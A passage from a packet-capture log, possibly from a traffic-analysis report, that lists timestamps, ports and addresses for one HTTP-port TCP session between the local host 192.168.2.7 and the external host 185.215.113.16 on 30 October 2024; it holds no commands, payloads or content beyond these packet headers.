Oct 30, 2024 04:35:26.583187103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583209038 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583220005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583230019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583239079 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583250046 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583287954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583297968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583308935 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583326101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583333015 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583337069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583358049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583395004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583401918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583414078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583437920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.583445072 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583457947 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.583487034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.623908043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.623920918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.623958111 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.623967886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.623981953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.623995066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.624032974 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.624053001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624063015 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624073982 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624099970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.624120951 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.624120951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624135017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624161005 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.624190092 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.624192953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624205112 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624233961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.624253988 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.624284029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624295950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624308109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624319077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624327898 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.624363899 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.624604940 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624615908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624629021 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.624653101 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.624691010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.656477928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.656502962 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.656514883 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.656527042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.656538963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.656544924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.656572104 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.656626940 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658423901 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658447981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658467054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658471107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658477068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658490896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658502102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658520937 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658551931 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658564091 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658585072 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658601999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658607960 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658617020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658629894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658636093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658643007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658674002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658683062 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658705950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658711910 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658718109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658742905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658765078 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658818007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658828020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658840895 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658859015 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658873081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658909082 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658921003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658931971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658946991 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658965111 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.658977985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.658987999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659013987 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659043074 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659305096 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659322977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659336090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659339905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659359932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659387112 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659390926 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659404993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659415960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659425020 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659444094 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659493923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659506083 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659517050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659560919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659564972 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659564972 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659579992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659600019 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659629107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659634113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659645081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659653902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659667015 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659679890 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659708023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659710884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659720898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659750938 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659763098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659773111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659780979 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659806013 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659858942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659868956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659881115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659893036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659909964 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659918070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659934998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659960985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659966946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.659981012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.659995079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660002947 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660013914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660027981 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660062075 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660096884 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660109997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660134077 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660154104 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660166979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660180092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660202980 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660226107 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660231113 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660238981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660264969 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660267115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660290956 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660334110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660345078 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660346031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660360098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660372972 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660381079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660396099 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660414934 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660453081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660465956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660490036 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660521030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660523891 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660531998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660545111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660559893 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660577059 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.660599947 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.660634995 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700347900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700380087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700392962 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700403929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700411081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700421095 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700433969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700449944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700495958 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700587034 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700612068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700623035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700628042 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700659990 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700694084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700706005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700716972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700733900 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700766087 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700788975 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700803041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700818062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700865984 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700876951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700890064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700901031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700900078 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700937986 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700947046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700962067 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.700985909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.700995922 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701020002 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701029062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701040030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701051950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701065063 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701092005 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701105118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701138020 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701145887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701157093 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701183081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701193094 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701204062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701211929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701215982 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701236963 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701258898 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701299906 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701311111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701323032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701338053 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701349020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701371908 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701395988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701411009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701448917 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701448917 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701462030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701473951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701489925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701519966 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701558113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701569080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701584101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701594114 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701600075 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701637030 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701646090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701669931 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701683998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701695919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701702118 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701731920 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701771021 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701782942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701793909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701808929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701839924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701843977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701852083 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701864004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701877117 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701905012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701920986 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701951027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.701961040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701972961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.701997995 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.702016115 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.702037096 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.702049017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.702059984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.702071905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.702076912 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.702112913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.702114105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.702151060 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742382050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742425919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742436886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742455006 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742456913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742468119 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742480993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742491007 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742508888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742532015 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742536068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742551088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742557049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742572069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742588997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742589951 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742603064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742614985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742629051 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742655039 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742666960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742680073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742702961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742706060 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742719889 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742741108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742773056 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742796898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742813110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742829084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742844105 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742878914 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742892027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742903948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742914915 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.742928982 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.742954969 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.775007963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.775048971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.775062084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.775073051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.775084972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.775099039 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.775151968 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777024031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777062893 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777074099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777085066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777127028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777169943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777182102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777194023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777204990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777205944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777216911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777252913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777307034 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777319908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777342081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777379036 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777383089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777393103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777404070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777415991 CET	49983	80	192.168.2.7	185.215.113.16
